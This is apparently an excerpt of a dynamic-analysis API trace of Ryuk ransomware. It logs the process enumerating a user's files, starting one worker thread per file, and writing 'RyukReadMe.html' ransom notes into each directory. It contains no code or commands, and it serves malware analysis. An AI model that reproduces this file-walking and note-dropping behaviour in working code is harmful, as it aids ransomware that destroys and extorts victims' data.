	[0255.603] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6bd58850, ftCreationTime.dwHighDateTime=0x1d5bdc9, ftLastAccessTime.dwLowDateTime=0xd423ce90, ftLastAccessTime.dwHighDateTime=0x1d5b8dc, ftLastWriteTime.dwLowDateTime=0xd423ce90, ftLastWriteTime.dwHighDateTime=0x1d5b8dc, nFileSizeHigh=0x0, nFileSizeLow=0x15c74, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="nBP 6drY_iC njnK.wav", cAlternateFileName="NBP6DR~1.WAV")) returned 1
	[0255.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0255.868] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.869] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1fdbb0, ftCreationTime.dwHighDateTime=0x1d5ba4a, ftLastAccessTime.dwLowDateTime=0xdf419950, ftLastAccessTime.dwHighDateTime=0x1d5c5ad, ftLastWriteTime.dwLowDateTime=0xdf419950, ftLastWriteTime.dwHighDateTime=0x1d5c5ad, nFileSizeHigh=0x0, nFileSizeLow=0x7028, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="O1d V02Bb-Yyjax.ppt", cAlternateFileName="O1DV02~1.PPT")) returned 1
	[0255.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0255.871] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.872] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dab0070, ftCreationTime.dwHighDateTime=0x1d5c522, ftLastAccessTime.dwLowDateTime=0x51ecd650, ftLastAccessTime.dwHighDateTime=0x1d5c5c6, ftLastWriteTime.dwLowDateTime=0x51ecd650, ftLastWriteTime.dwHighDateTime=0x1d5c5c6, nFileSizeHigh=0x0, nFileSizeLow=0x9661, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="qz-EhFMmP0nfJPHKxYa.mp3", cAlternateFileName="QZ-EHF~1.MP3")) returned 1
	[0255.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0255.874] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.875] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9e2b770, ftCreationTime.dwHighDateTime=0x1d5c15d, ftLastAccessTime.dwLowDateTime=0x68b5e6c0, ftLastAccessTime.dwHighDateTime=0x1d5bce2, ftLastWriteTime.dwLowDateTime=0x68b5e6c0, ftLastWriteTime.dwHighDateTime=0x1d5bce2, nFileSizeHigh=0x0, nFileSizeLow=0xab7d, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="rUJZ.gif", cAlternateFileName="")) returned 1
	[0255.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0255.877] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.878] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x405185e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4053e740, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0255.878] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2385b770, ftCreationTime.dwHighDateTime=0x1d5be4e, ftLastAccessTime.dwLowDateTime=0xd1bd4300, ftLastAccessTime.dwHighDateTime=0x1d5b5b4, ftLastWriteTime.dwLowDateTime=0xd1bd4300, ftLastWriteTime.dwHighDateTime=0x1d5b5b4, nFileSizeHigh=0x0, nFileSizeLow=0xa784, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="s-gmsn.mkv", cAlternateFileName="")) returned 1
	[0255.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0255.880] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.881] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7205f990, ftCreationTime.dwHighDateTime=0x1d5bb11, ftLastAccessTime.dwLowDateTime=0xa66d67e0, ftLastAccessTime.dwHighDateTime=0x1d5c485, ftLastWriteTime.dwLowDateTime=0xa66d67e0, ftLastWriteTime.dwHighDateTime=0x1d5c485, nFileSizeHigh=0x0, nFileSizeLow=0x5e22, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="suL76PCDpBtAV.mp4", cAlternateFileName="SUL76P~1.MP4")) returned 1
	[0255.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0255.885] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.885] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcabc9fe0, ftCreationTime.dwHighDateTime=0x1d5c335, ftLastAccessTime.dwLowDateTime=0x4cd28700, ftLastAccessTime.dwHighDateTime=0x1d5ba3b, ftLastWriteTime.dwLowDateTime=0x4cd28700, ftLastWriteTime.dwHighDateTime=0x1d5ba3b, nFileSizeHigh=0x0, nFileSizeLow=0x9fa, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Ta8_Kc.bmp", cAlternateFileName="")) returned 1
	[0255.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0255.888] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.889] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0255.889] SetLastError (dwErrCode=0x0) 
	[0255.889] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0
	[0255.889] GetLastError () returned 0xb7
	[0255.889] CloseHandle (hObject=0x6b0) returned 1
	[0255.889] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f6, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0255.889] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0255.889] SetLastError (dwErrCode=0x0) 
	[0255.890] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.890] GetLastError () returned 0x3
	[0255.890] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0255.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.890] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c4a0240, ftCreationTime.dwHighDateTime=0x1d5c415, ftLastAccessTime.dwLowDateTime=0x28d6d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c550, ftLastWriteTime.dwLowDateTime=0x28d6d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c550, nFileSizeHigh=0x0, nFileSizeLow=0xa67a, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="tEz6zz54a3QKe1jYs.mp3", cAlternateFileName="TEZ6ZZ~1.MP3")) returned 1
	[0255.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0255.892] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.892] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4813f7f0, ftCreationTime.dwHighDateTime=0x1d5c317, ftLastAccessTime.dwLowDateTime=0xbd8a9eb0, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0xbd8a9eb0, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0x158a2, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="uJdarKwGlT5w5zNqc7M.jpg", cAlternateFileName="UJDARK~1.JPG")) returned 1
	[0255.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4
	[0255.894] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.895] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44de7220, ftCreationTime.dwHighDateTime=0x1d5b824, ftLastAccessTime.dwLowDateTime=0x9f9fc830, ftLastAccessTime.dwHighDateTime=0x1d5be69, ftLastWriteTime.dwLowDateTime=0x9f9fc830, ftLastWriteTime.dwHighDateTime=0x1d5be69, nFileSizeHigh=0x0, nFileSizeLow=0x3055, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="uw8kRfAIZafm8JjQ.avi", cAlternateFileName="UW8KRF~1.AVI")) returned 1
	[0255.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0255.897] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.898] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0255.898] SetLastError (dwErrCode=0x0) 
	[0255.898] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc
	[0255.898] GetLastError () returned 0xb7
	[0255.898] CloseHandle (hObject=0x6bc) returned 1
	[0255.898] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0256.036] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.036] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0256.037] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0256.037] SetLastError (dwErrCode=0x0) 
	[0256.037] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0256.273] GetLastError () returned 0x0
	[0256.273] WriteFile (in: hFile=0x69c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0256.357] CloseHandle (hObject=0x69c) returned 1
	[0256.357] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e1be50, ftCreationTime.dwHighDateTime=0x1d5b6d6, ftLastAccessTime.dwLowDateTime=0xd992b530, ftLastAccessTime.dwHighDateTime=0x1d5b8f0, ftLastWriteTime.dwLowDateTime=0xd992b530, ftLastWriteTime.dwHighDateTime=0x1d5b8f0, nFileSizeHigh=0x0, nFileSizeLow=0x1791b, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Y2djYuhT3xjlKZ3r.ppt", cAlternateFileName="Y2DJYU~1.PPT")) returned 1
	[0256.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0256.359] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.360] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40d4c440, ftCreationTime.dwHighDateTime=0x1d5c139, ftLastAccessTime.dwLowDateTime=0x1dcaae80, ftLastAccessTime.dwHighDateTime=0x1d5c48e, ftLastWriteTime.dwLowDateTime=0x1dcaae80, ftLastWriteTime.dwHighDateTime=0x1d5c48e, nFileSizeHigh=0x0, nFileSizeLow=0x14809, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="yLt4USz55bOIOOEbZn.wav", cAlternateFileName="YLT4US~1.WAV")) returned 1
	[0256.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0256.361] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.362] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20c652c0, ftCreationTime.dwHighDateTime=0x1d5bfe2, ftLastAccessTime.dwLowDateTime=0xd0495170, ftLastAccessTime.dwHighDateTime=0x1d5bc27, ftLastWriteTime.dwLowDateTime=0xd0495170, ftLastWriteTime.dwHighDateTime=0x1d5bc27, nFileSizeHigh=0x0, nFileSizeLow=0xd07c, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="ylwNSYMrPkhmeWLV4xtt.mkv", cAlternateFileName="YLWNSY~1.MKV")) returned 1
	[0256.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0256.363] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.364] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x94014e60, ftLastWriteTime.dwHighDateTime=0x1d5b6bf, nFileSizeHigh=0x0, nFileSizeLow=0xfc86, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 1
	[0256.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8
	[0256.366] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.367] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16fa710, ftCreationTime.dwHighDateTime=0x1d5bb04, ftLastAccessTime.dwLowDateTime=0x94014e60, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x94014e60, ftLastWriteTime.dwHighDateTime=0x1d5b6bf, nFileSizeHigh=0x0, nFileSizeLow=0xfc86, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="_B66Lv3zO7vtubgGITA.odt", cAlternateFileName="_B66LV~1.ODT")) returned 0
	[0256.367] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.367] SetLastError (dwErrCode=0x0) 
	[0256.367] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.367] GetLastError () returned 0xb7
	[0256.367] CloseHandle (hObject=0x5ec) returned 1
	[0256.367] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0256.367] SetLastError (dwErrCode=0x0) 
	[0256.368] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.368] GetLastError () returned 0xb7
	[0256.368] CloseHandle (hObject=0x5ec) returned 1
	[0256.368] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.369] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
